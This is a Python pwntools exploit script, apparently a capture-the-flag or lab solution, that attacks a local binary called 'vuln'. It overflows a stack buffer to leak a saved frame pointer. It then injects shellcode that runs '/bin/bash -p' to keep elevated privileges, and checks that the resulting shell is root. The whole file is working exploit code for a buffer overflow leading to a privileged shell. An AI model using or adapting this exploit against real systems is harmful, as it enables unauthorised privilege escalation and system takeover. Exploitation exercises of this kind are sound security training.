exploit.py

#!/usr/bin/env python3

from pwn import *


context.log_level = "error"
context.arch = "amd64"

def exploit(p, elf):
    buffer_size = 0x100
    rsp_offset = 272 # obtained with gdb
    
    payload1 = b"A"*buffer_size
    p.send(payload1)
    rbp = u64(p.recvline().strip()[buffer_size:].ljust(8, b"\x00"))
    buffer_addr = rbp - rsp_offset
    shellcode = asm("""
        xor rax, rax
        push rax
        lea rax, [rip + arg1]
        push rax 
        lea rax, [rip + bin_bash]
        push rax
        mov rdi, rax
        mov rsi, rsp
        mov rdx, 0
        mov rax, 59
        syscall

        bin_bash:
            .string "/bin/bash"
        arg1:
            .string "-p"
    """)

    payload2 = shellcode.ljust(buffer_size, b"\x00") + p64(rbp) + p64(buffer_addr)
    p.send(payload2)
    p.recvline()
    p.sendline(b"whoami")

    assert(b"root" in p.recv())

def main():
    elf = ELF("./vuln")
    p = process("./vuln")
    exploit(p, elf)

if __name__ == "__main__":
    main()